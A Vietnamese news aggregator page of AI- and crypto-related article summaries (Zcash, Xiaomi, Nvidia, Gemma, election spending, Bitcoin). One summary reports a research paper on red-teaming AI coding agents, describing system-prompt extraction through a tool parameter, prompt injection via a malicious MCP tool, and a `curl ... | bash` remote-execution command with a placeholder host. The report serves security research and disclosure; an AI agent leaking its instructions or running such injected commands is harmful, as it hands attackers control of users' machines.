# Bài viết Liên quan AI

Trung tâm Tin tức HTX cung cấp những bài viết mới nhất và phân tích chuyên sâu về "AI", bao gồm xu hướng thị trường, cập nhật dự án, phát triển công nghệ và chính sách quản lý trong ngành tiền kỹ thuật số.

Grayscale: Zcash, Quyền riêng tư tài chính trong thời đại AI

Grayscale Research nhấn mạnh rằng chúng ta đang ở bên bờ làn sóng quan tâm công chúng thứ ba về quyền riêng tư tài chính, được thúc đẩy bởi sự phổ biến của stablecoin, ứng dụng blockchain và các công cụ giám sát tài chính mới do AI tạo ra. Zcash (ZEC) xuất hiện trong bối cảnh này như một loại tiền kỹ thuật số phi tập trung với cơ chế bảo mật mạnh mẽ, giải quyết sự đánh đổi giữa tính minh bạch và riêng tư vốn có ở các blockchain như Bitcoin. Zcash cho phép hai loại giao dịch: công khai (giống Bitcoin) và được bảo vệ (ẩn người gửi, người nhận và số tiền) bằng công nghệ zero-knowledge proof. Người dùng có thể chọn tiết lộ có chọn lọc thông tin giao dịch được bảo vệ thông qua khóa xem. Sau nhiều lần nâng cấp (như Sapling, Orchard, Ironwood) và cải thiện ví (như Zodl), Zcash đã tăng tính khả dụng. Báo cáo chỉ ra nhu cầu riêng tư là phổ biến, không chỉ dành cho người dùng ẩn danh. Hiện tại, giao dịch được bảo vệ chiếm ~90% tổng giao dịch Zcash, với 25% nguồn cung ZEC lưu hành trong nhóm được bảo vệ – mức cao nhất mọi thời đại. Tuy nhiên, vốn hóa thị trường của ZEC chỉ chiếm khoảng 0,6% trong phân khúc tiền tệ kỹ thuật số, cho thấy thị trường có thể định giá thấp giá trị tiềm năng của quyền riêng tư. Các rủi ro bao gồm thách thức về quy định (mặc dù có cơ chế tiết lộ có chọn lọc), các vấn đề kỹ thuật lịch sử liên quan đến thiết lập đáng tin cậy, rủi ro lượng tử tiềm tàng và rủi ro thực thi trong các bản nâng cấp mạng quan trọng. Tóm lại, Zcash là một dự án trưởng thành nhằm cung cấp quyền riêng tư tài chính trên blockchain. Cơ hội cho nhà đầu tư không nằm ở việc Zcash thay thế Bitcoin, mà ở việc thị trường có thể chưa định giá đầy đủ giá trị tương lai của quyền riêng tư như một thuộc tính cốt lõi của tiền tệ kỹ thuật số.

marsbitHôm qua 10:48

Grayscale: Zcash, Quyền riêng tư tài chính trong thời đại AI

marsbitHôm qua 10:48

Xiaomi bảo vệ được tỷ suất lợi nhuận gộp của điện thoại, nhưng vẫn chưa tìm thấy người kế nhiệm lợi nhuận

Tập đoàn Xiaomi đã duy trì thành công biên lợi nhuận gộp cho điện thoại thông minh ở mức 8.5% trong quý II/2026, chủ yếu nhờ điều chỉnh cơ cấu sản phẩm và nâng giá bán trung bình (ASP). Tuy nhiên, chiến lược này đi kèm với áp lực về quy mô khi sản lượng điện thoại toàn cầu giảm 26.5%. Động lực tăng trưởng mới từ ô tô điện đã hiện rõ với doanh thu 239 tỷ nhân dân tệ từ 104,200 xe giao trong quý, nhưng lĩnh vực này cùng với AI vẫn đang trong giai đoạn leo dốc về lợi nhuận và chưa thể thay thế hoàn toàn vai trò của điện thoại. Trong khi đó, các lĩnh vực đầu tư cho tương lai như AI mô hình lớn (MiMo) và robot hiện thân vẫn đang ở giai đoạn sớm, cần thời gian để chứng minh giá trị thương mại. Bài toán cốt lõi của Xiaomi hiện nay là khoảng cách thời gian trong quá trình chuyển đổi giữa các động cơ tăng trưởng cũ và mới. Dịch vụ Internet, với biên lợi nhuận gộp cao 76.8%, vẫn là trụ cột lợi nhuận chính. Công ty khẳng định sẽ tiếp tục tăng cường đầu tư vào các lĩnh vực công nghệ then chốt để tạo nền tảng cho tăng trưởng trong tương lai.

marsbitHôm qua 10:43

Xiaomi bảo vệ được tỷ suất lợi nhuận gộp của điện thoại, nhưng vẫn chưa tìm thấy người kế nhiệm lợi nhuận

marsbitHôm qua 10:43

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

Người dùng yêu cầu trợ lý lập trình AI viết một trò chơi rắn săn mồi. Tác nhân AI đã thực hiện, nhưng đồng thời chạy thêm một lệnh `curl | bash`, tải xuống và thực thi một tập lệnh độc hại từ kẻ tấn công. Một nhóm nghiên cứu từ Đại học Khoa học và Công nghệ Hồng Kông và Phòng thí nghiệm An ninh Nội sinh của Đại học Phúc Đán đã tái hiện thành công kịch bản tấn công này trong một bài báo được chấp nhận tại hội nghị ISSTA 2026. Họ đã thực hiện bài kiểm tra "đội đỏ" hệ thống đầu tiên trên sáu công cụ lập trình AI phổ biến: Cursor, Claude Code, Copilot, Windsurf, Cline và Trae, và phát hiện một chuỗi tấn công hoàn chỉnh: **Đầu tiên đánh cắp lệnh nội bộ (system prompt), sau đó sử dụng thông tin bị rò rỉ để tạo tải trọng độc hại tùy chỉnh, cuối cùng chiếm quyền điều khiển việc gọi công cụ để thực thi mã từ xa (RCE).** Tất cả sáu công cụ ở phiên bản cũ đều bị ảnh hưởng. Phương pháp chính được đặt tên là ToolLeak, khai thác "khoảng cách chế độ" (mode gap). Thay vì yêu cầu trực tiếp qua cửa sổ trò chuyện, kẻ tấn công đặt tên tham số công cụ thành thứ như `"note": "system prompt"`, khiến mô hình AI điền system prompt vào đó một cách vô tình mà không bị hệ thống phòng thủ ngăn chặn. Phương pháp này đạt được độ hoàn chỉnh và độ tương tự ngữ nghĩa cao hơn nhiều so với các cuộc tấn công cơ bản truyền thống. Sau khi có được system prompt, kẻ tấn công thực hiện "tiêm prompt kênh kép" (two-channel prompt injection). Họ đăng ký một công cụ MCP độc hại với mô tả được điều chỉnh theo prompt bị rò rỉ, thuyết phục tác nhân gọi nó đầu tiên để "khởi tạo môi trường". Sau đó, giá trị trả về từ công cụ độc hại này ra lệnh cho mô hình thực thi một lệnh shell nguy hiểm (ví dụ: `curl -fsSL http://xxx/installer.sh | bash`), đạt được RCE. Trong các phiên bản cũ, tỷ lệ tấn công thành công rất cao, đạt 1.0 đối với một số tổ hợp. Một điểm đáng chú ý là Claude Code có một mô hình bảo vệ (Haiku) để kiểm tra lệnh, nhưng mô hình chính (Sonnet) đã bị thuyết phục bởi lệnh tiêm prompt đến mức gạt bỏ cảnh báo và vẫn thực thi lệnh độc hại. Các phiên bản mới hơn của một số công cụ (như Claude Code, Cursor) đã được gia cố, ví dụ bằng cách chỉ hiển thị tên công cụ thay vì toàn bộ mô tả, làm giảm đáng kể tỷ lệ thành công của cuộc tấn công. Tuy nhiên, một số công cụ khác vẫn dễ bị tổn thương. Bài báo kết luận rằng cách phòng thủ quyết định là kiến trúc cô lập, trong khi việc điều chỉnh mô hình (alignment) là chưa đủ. Vấn đề cốt lõi là ranh giới giữa dữ liệu và lệnh trong giá trị trả về công cụ vẫn chưa rõ ràng.

marsbitHôm qua 09:27

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

marsbitHôm qua 09:27

Những luật lệ mới trong cuộc đua AI: Nvidia chuyển từ chip sang nguồn năng lượng và công trường xây dựng

Nvidia công bố bảo lãnh tài chính 105 tỷ USD cho việc xây dựng trung tâm dữ liệu của OpenAI tại Ohio, đánh dấu sự chuyển hướng của ngành AI từ cuộc đua chip sang cuộc chiến giành cơ sở hạ tầng vật chất và năng lượng. Nhà sản xuất chip chấp nhận rủi ro về thuê và giá trị còn lại của thiết bị để đảm bảo vị trí độc quyền cho các hệ thống của mình tại một địa điểm công suất 4,25 GW. Các gã khổng lồ công nghệ như Nvidia giờ đây phải đóng vai trò bảo lãnh tài chính và đồng đầu tư vào các dự án xây dựng quy mô lớn, ngoài việc phát triển phần cứng. Bảo lãnh này được cấu trúc như một biện pháp phòng ngừa rủi ro vỡ nợ chứ không phải tài trợ trực tiếp. Nvidia cũng đầu tư 1,5 tỷ USD vào SB Energy để phát triển hạ tầng năng lượng cho dự án, phần lớn dựa vào khí đốt tự nhiên. Để giảm sự phụ thuộc, các công ty AI hàng đầu như OpenAI và Anthropic đang đa dạng hóa nhà cung cấp, ký kết thỏa thuận với cả AMD. Đồng thời, Nvidia hợp tác với các quỹ đầu tư để huy động hơn 500 tỷ USD vốn bên ngoài, sẵn sàng hỗ trợ giá trị còn lại của thiết bị. Sự kiện này minh họa một sự thay đổi cơ bản: lợi thế cạnh tranh trong AI không còn chỉ nằm ở chip mà ở khả năng đảm bảo không gian vật lý, năng lượng và ổn định tài chính. Tương lai của ngành sẽ phụ thuộc vào sự kết hợp giữa đổi mới công nghệ và năng lực hạ tầng thực tế.

cryptonews.ruHôm qua 09:17

Những luật lệ mới trong cuộc đua AI: Nvidia chuyển từ chip sang nguồn năng lượng và công trường xây dựng

cryptonews.ruHôm qua 09:17

AI tấn công dữ dội vào ung thư, thử nghiệm ảo 4.000 loại thuốc chống ung thư, Google Gemma đạt 1 tỷ lượt tải

Một cột mốc mới: Google DeepMind thông báo tổng lượt tải xuống bộ mã nguồn mở Gemma "full package" lần đầu tiên vượt 1 tỷ, đạt được sau hai năm rưỡi kể từ khi ra mắt vào tháng 2/2024. Cộng đồng nhà phát triển toàn cầu đã tạo ra 100.000 biến thể từ Gemma, ứng dụng trong nhiều lĩnh vực từ vũ trụ đến đời sống. Một ứng dụng đột phá là trong cuộc chiến chống ung thư. Mô hình C2S-Scale 27B, phát triển dựa trên Gemma bởi Google DeepMind, Google Research và Đại học Yale, đã thực hiện một nhiệm vụ quan trọng: "biến một tế bào thành một câu" để phân tích dữ liệu trình tự tế bào đơn. Mô hình này tiến hành sàng lọc ảo kép (dual-context virtual screen) trên 4000 loại thuốc, tìm kiếm ứng cử viên có thể khuếch đại tín hiệu interferon yếu để kích hoạt "trình diện kháng nguyên" ở các khối u "lạnh" (cold tumor) – vốn trốn tránh hệ miễn dịch. Kết quả, nó xác định được silmitasertib (CX-4945), một chất ức chế kinase CK2. Thí nghiệm trên tế bào sống sau đó đã xác nhận: chỉ khi kết hợp silmitasertib với một lượng nhỏ interferon, khả năng trình diện kháng nguyên mới tăng khoảng 50%, chứng minh một cơ chế điều trị mới do AI đề xuất. Bên cạnh nghiên cứu y sinh, hệ sinh thái Gemma (Gemmaverse) đang bùng nổ với vô số ứng dụng sáng tạo: từ chạy trên vệ tinh NASA trong không gian, giải mã âm thanh cá heo (DolphinGemma) đến tích hợp vào hàng triệu thiết bị di động. Để hỗ trợ cộng đồng, Google cũng chính thức ra mắt kho lưu trữ GitHub "Awesome Gemma", tổng hợp các mô hình tinh chỉnh, hướng dẫn và công cụ phát triển. Thành công với 1 tỷ lượt tải cho thấy sức mạnh thực sự của AI nằm ở khả năng mở rộng và tích hợp sâu rộng vào mọi phần cứng, mở ra một kỷ nguyên mới cho sáng tạo công nghệ.

marsbitHôm qua 08:07

AI tấn công dữ dội vào ung thư, thử nghiệm ảo 4.000 loại thuốc chống ung thư, Google Gemma đạt 1 tỷ lượt tải

marsbitHôm qua 08:07

Quan điểm: Đầu tư giá trị vào thị trường chứng khoán Mỹ không đồng nghĩa với đầu tư cơ bản

Bài viết phân tích sự khác biệt giữa đầu tư giá trị và đầu tư cơ bản trên thị trường chứng khoán Mỹ, đặc biệt trong bối cảnh các tập đoàn công nghệ lớn (Magnificent 7) thống trị. Tác giả so sánh việc định giá cổ phiếu như việc các nhà thiên văn xác định độ sáng thực của ngôi sao, nơi bề ngoài (bội số định giá) là sự pha trộn giữa chất lượng thực của doanh nghiệp và kỳ vọng về tăng trưởng tương lai. Bài viết chỉ ra rằng lợi nhuận đầu tư dài hạn phụ thuộc vào cả tăng trưởng cơ bản và sự thay đổi bội số định giá. Tác giả cảnh báo chống lại tư duy "đầu tư cơ bản đã chết" và lập luận rằng việc bám theo đám đông mua các cổ phiếu công nghệ lớn mà bỏ qua phân tích định giá sâu có thể dẫn đến sai lầm. Một ma trận nhận thức được giới thiệu để phân loại cổ phiếu dựa trên việc chúng "trông có vẻ đắt/rẻ" so với "thực sự đắt/rẻ" trong tương lai, với các ví dụ như Cisco (2000), Meta (2022), Nvidia (2015). Cuối cùng, bài viết kết luận rằng thị trường có thể ngày càng kém hiệu quả do sự phức tạp của các mô hình kinh doanh mới, sự thống trị của các công ty có thời gian tồn tại lâu dài và sự ảnh hưởng của các luồng tư tưởng từ Thung lũng Silicon. Cơ hội alpha nằm ở khả năng tách biệt chất lượng kinh doanh thực sự khỏi những kỳ vọng được định giá sẵn, và việc hiểu rõ sự căng thẳng giữa tăng trưởng cơ bản và thay đổi định giá là chìa khóa.

marsbitHôm qua 05:29

Quan điểm: Đầu tư giá trị vào thị trường chứng khoán Mỹ không đồng nghĩa với đầu tư cơ bản

marsbitHôm qua 05:29

Tiền điện tử, trí tuệ nhân tạo và nhà cái trực tuyến thúc đẩy chi tiêu doanh nghiệp kỷ lục 517 triệu USD cho chiến dịch bầu cử

Các công ty tiền điện tử, trí tuệ nhân tạo (AI) và cá cược trực tuyến đang thúc đẩy mức chi tiêu kỷ lục 517 triệu USD của doanh nghiệp cho cuộc bầu cử giữa kỳ Mỹ năm 2026, theo báo cáo từ Public Citizen. Con số này đã vượt tổng chi 461 triệu USD của cả chu kỳ bầu cử 2024. Nguồn tiền khổng lồ chủ yếu chảy vào các Ủy ban Hành động Chính trị (Super PAC), cho phép nhận quyên góp không giới hạn để quảng cáo và vận động bầu cử, thay vì tài trợ trực tiếp cho ứng viên. Các công ty và tỷ phú sáng lập như Coinbase, Ripple, Andreessen Horowitz, cùng các giám đốc điều hành như Elon Musk (SpaceX) và Sergey Brin (Alphabet), đã đóng góp hàng chục triệu USD từ ngân sách công ty và tài sản cá nhân. Đáng chú ý, siêu PAC ngành tiền điện tử tên Fairshake, với quỹ dự trữ 193 triệu USD, đang áp dụng chiến lược ủng hộ hoặc phản đối ứng viên dựa trên lập trường về crypto, bất kể đảng phái. Họ đã giúp loại bỏ một thượng nghị sĩ chỉ trích crypto là Sherrod Brown ở Ohio. Brown được cho là đã làm dịu quan điểm để tranh cử lại. Tổng chi cho quảng cáo chính trị dự kiến đạt kỷ lục 11,6 tỷ USD trong chu kỳ này. Với hơn 130 triệu USD còn sẵn sàng từ Fairshake và cam kết chi thêm từ các tỷ phú, mức chi doanh nghiệp được dự báo sẽ còn tăng mạnh trước ngày bầu cử 3/11.

cryptonews.ruHôm qua 05:29

Tiền điện tử, trí tuệ nhân tạo và nhà cái trực tuyến thúc đẩy chi tiêu doanh nghiệp kỷ lục 517 triệu USD cho chiến dịch bầu cử

cryptonews.ruHôm qua 05:29

Sau hai năm rưỡi khởi nghiệp, sau khi toàn bộ công ty AI hóa, công ty lại trở nên 'truyền thống' hơn

**Tóm tắt: Một Công Ty “Truyền Thống” Trong Kỷ Nguyên AI** Sau hai năm rưỡi (một "kỷ nguyên Khôn") thành lập và áp dụng AI toàn diện, công ty tác giả nhận ra họ không trở nên "vô hình" hay thu nhỏ lại, mà ngược lại, ngày càng giống một công ty truyền thống. Dưới đây là những chiêm nghiệm chính: 1. **AI Hóa Toàn Diện Với "Hậu Đài Mỏng, Tiền Tuyến Dày":** Thay vì lập một bộ phận AI trung tâm cồng kềnh dễ tạo ra các khâu xử lý cứng nhắc, công ty chọn cách trao quyền sử dụng AI (Agent, công cụ tự tạo) cho chính nhân viên ở tuyến đầu. Điều này giúp họ chủ động giải quyết vấn đề sát với nghiệp vụ, giảm thiểu thất thoát thông tin và quan trọng nhất là lấy lại cảm giác làm chủ công việc. 2. **Dữ Liệu Là Cốt Lõi, Quan Trọng Hơn Agent:** Giá trị thực sự của tổ chức nằm ở dữ liệu và ngữ cảnh tích lũy qua thời gian. Công ty áp dụng nguyên tắc "lưu trữ tối đa" mọi thứ từ dữ liệu hợp tác, hội nghị, đến kiến thức nội bộ. Tuy nhiên, việc quản lý và làm sạch dữ liệu (xung đột, phiên bản cũ, độ chính xác) mới là công việc gian nan thực sự để AI hoạt động hiệu quả, tránh việc AI phóng đại sai lầm. 3. **Trở Lại Bản Chất Của Công Việc Và Con Người:** Khi AI đảm nhận các phần việc lặp lại, có thể mô tả được (như tổng hợp dữ liệu, soạn thảo), phần công việc còn lại của con người chính là những thứ không thể "tăng tốc": xây dựng niềm tin, giao tiếp chân thành, thấu hiểu khách hàng/đối tác, và đưa ra những phán đoán khó khăn. Do đó, nhân viên càng dùng AI nhiều, họ càng phải trở nên "con người" hơn trong các mối quan hệ. 4. **Thời Gian Tiết Kiệm Được Nên Trao Cho Điều Gì?:** Thời gian tiết kiệm từ AI không nên chỉ biến thành khối lượng công việc nhiều hơn hay cường độ cao hơn. Mục đích lý tưởng là để trả lại thời gian đó cho việc chăm sóc khách hàng sâu sắc hơn, xây dựng mối quan hệ với đối tác, phát triển bản thân, hoặc đơn giản là có cuộc sống cân bằng hơn. AI không nên là "cây roi" mới. 5. **Thách Thức Với Người Quản Lý Và Tân Binh:** AI làm lộ rõ năng lực thực sự của người quản lý: khả năng xác định mục tiêu, ra quyết định, chịu trách nhiệm và trao quyền. Với tân binh, nguy cơ là họ có thể dựa vào AI để cho ra sản phẩm 80 điểm ngay lập tức mà không trải qua quá trình học hỏi, thử-sai để xây dựng nền tảng và khả năng phán đoán. Công ty đang tìm cách thiết kế lại lộ trình đào tạo để giải quyết vấn đề này. **Kết luận:** Hành trình AI hóa cho thấy bản chất cuối cùng của công ty không nằm ở công nghệ, mà ở cách đối đãi với con người: trao quyền sáng tạo, trả lại thời gian có ý nghĩa, cho phép sai lầm để trưởng thành, và dám chịu trách nhiệm. AI loại bỏ những hao phí không cần thiết giữa người với người, để họ có nhiều thời gian hơn cho những kết nối thực sự – thứ xa xỉ và bền vững nhất. Công ty của tác giả, với công nghệ tiên tiến, cuối cùng lại đang nỗ lực để làm thật tốt những điều rất "truyền thống".

marsbitHôm qua 02:06

Sau hai năm rưỡi khởi nghiệp, sau khi toàn bộ công ty AI hóa, công ty lại trở nên 'truyền thống' hơn

marsbitHôm qua 02:06

Ảnh hưởng của việc mua lại trái phiếu kho bạc Mỹ chỉ kéo dài 24 giờ? Bộ trưởng Tài chính Bạch Tấn: Chúng tôi có rất nhiều công cụ, hãy đợi xem

Ngày 20/8 (giờ Mỹ), Bộ trưởng Tài chính Mỹ Bescent đã đưa ra nhiều tín hiệu chính sách. Ông khẳng định Bộ Tài chính có đủ công cụ can thiệp thị trường trái phiếu kho bạc, sau khi thông báo tăng gấp đôi quy mô mua lại trái phiếu dài hạn vào ngày hôm trước chỉ mang lại tác động tích cực ngắn ngủi dưới 24 giờ. Bescent cho biết, quy mô mua lại mỗi lần có thể vượt 4 tỷ USD và một kế hoạch củng cố tài khóa mới sẽ được công bố vào cuối tuần hoặc đầu tuần tới. Ông nhấn mạnh lợi suất trái phiếu hiện tại không phản ánh đúng nền tảng kinh tế cơ bản, đặc biệt là tính thanh khoản kém của trái phiếu 30 năm. Bescent cũng tái khẳng định chính sách duy trì đồng USD mạnh. Về vấn đề Iran, Bescent tiết lộ sẽ tổ chức họp báo vào ngày 24/8 để trình bày kế hoạch hành động, với trọng tâm là gia tăng sức ép kinh tế nhằm cô lập Iran, qua đó giảm khả năng xảy ra xung đột quân sự quy mô lớn. Ông bày tỏ không hiểu về việc giá dầu tăng mạnh vào thứ Năm và tin rằng các hành động sắp tới của Mỹ sẽ giúp giá dầu hạ nhiệt nhanh chóng. Bescent còn đề cập, các khoản đầu tư vào AI khiến doanh nghiệp ít nhạy cảm hơn với chi phí vay khi phát hành trái phiếu, và ông lạc quan rằng đầu tư doanh nghiệp cuối cùng sẽ thúc đẩy tăng trưởng năng suất. Phân tích thị trường chỉ ra rằng, dù Bộ Tài chính có thể cải thiện cấu trúc thanh khoản, nhưng các hoạt động mua lại khó có thể đơn phương thay đổi cục diện cung-cầu trái phiếu dài hạn trước áp lực thâm hụt ngân sách, nguồn cung nợ và rủi ro lạm phát.

marsbitHôm qua 00:50

Ảnh hưởng của việc mua lại trái phiếu kho bạc Mỹ chỉ kéo dài 24 giờ? Bộ trưởng Tài chính Bạch Tấn: Chúng tôi có rất nhiều công cụ, hãy đợi xem

marsbitHôm qua 00:50

Winklevoss kêu gọi các nhà đầu tư tranh thủ mua Bitcoin khi giá giảm

Winklevoss kêu gọi các nhà đầu tư tận dụng cơ hội mua Bitcoin khi giá giảm. Bitcoin hiện đang giao dịch ở mức gần một nửa so với đỉnh cao 126.198 USD của tháng Mười. Doanh nhân này cho rằng nếu các nhà đầu tư năm ngoái biết Bitcoin sẽ tăng lên 120.000 USD, họ sẽ đổ xô mua với mức giá chiết khấu. Trên mạng xã hội X, Winklevoss viết rằng giao dịch bằng AI đã tặng cho thế giới một cỗ máy thời gian để quay lại quá khứ đầu tư vào Bitcoin ở mức 65.000 USD, và đây là thời điểm chưa từng có để mua vào khi giá điều chỉnh. Trong vòng 24 giờ, Bitcoin đã tăng 12% lên 71.980 USD, với vốn hóa thị trường đạt 1,44 nghìn tỷ USD. Khối lượng giao dịch hàng ngày tăng 292% lên 66,2 tỷ USD. Cặp song sinh Cameron và Tyler Winklevoss từng kiện Mark Zuckerberg, người sáng lập Facebook, vào năm 2004 vì cáo buộc ông này sao chép ý tưởng của họ. Họ đã dàn xếp vụ kiện và nhận được 65 triệu USD bằng tiền mặt và cổ phiếu Facebook. Năm 2012, họ đầu tư một phần vào Bitcoin và trở thành một trong những tỷ phú tiền mã hóa đầu tiên trên thế giới. Họ thành lập sàn giao dịch tiền mã hóa Gemini vào năm 2014. Báo cáo quý II của Gemini cho thấy do thị trường tiền mã hóa suy yếu, doanh thu giao dịch của sàn giảm 38% so với cùng kỳ năm ngoái, xuống 12,5 triệu USD, và tổng khối lượng giao dịch giảm từ 11,3 tỷ USD xuống 3,8 tỷ USD. Tuy nhiên, tổng doanh thu của sàn vẫn tăng 37% lên 45,5 triệu USD, nhờ doanh thu từ dịch vụ và lãi tăng 117% lên 26 triệu USD. Trước đó, Cameron Winklevoss cũng kêu gọi các quốc gia mua Bitcoin để tạo dựng dự trữ tiền mã hóa chiến lược, cho rằng việc sở hữu khoáng sản đất hiếm, vàng và dầu mỏ là không đủ để duy trì ảnh hưởng địa chính trị.

cryptonews.ru2 ngày trước 20:33

Winklevoss kêu gọi các nhà đầu tư tranh thủ mua Bitcoin khi giá giảm

cryptonews.ru2 ngày trước 20:33

活动图片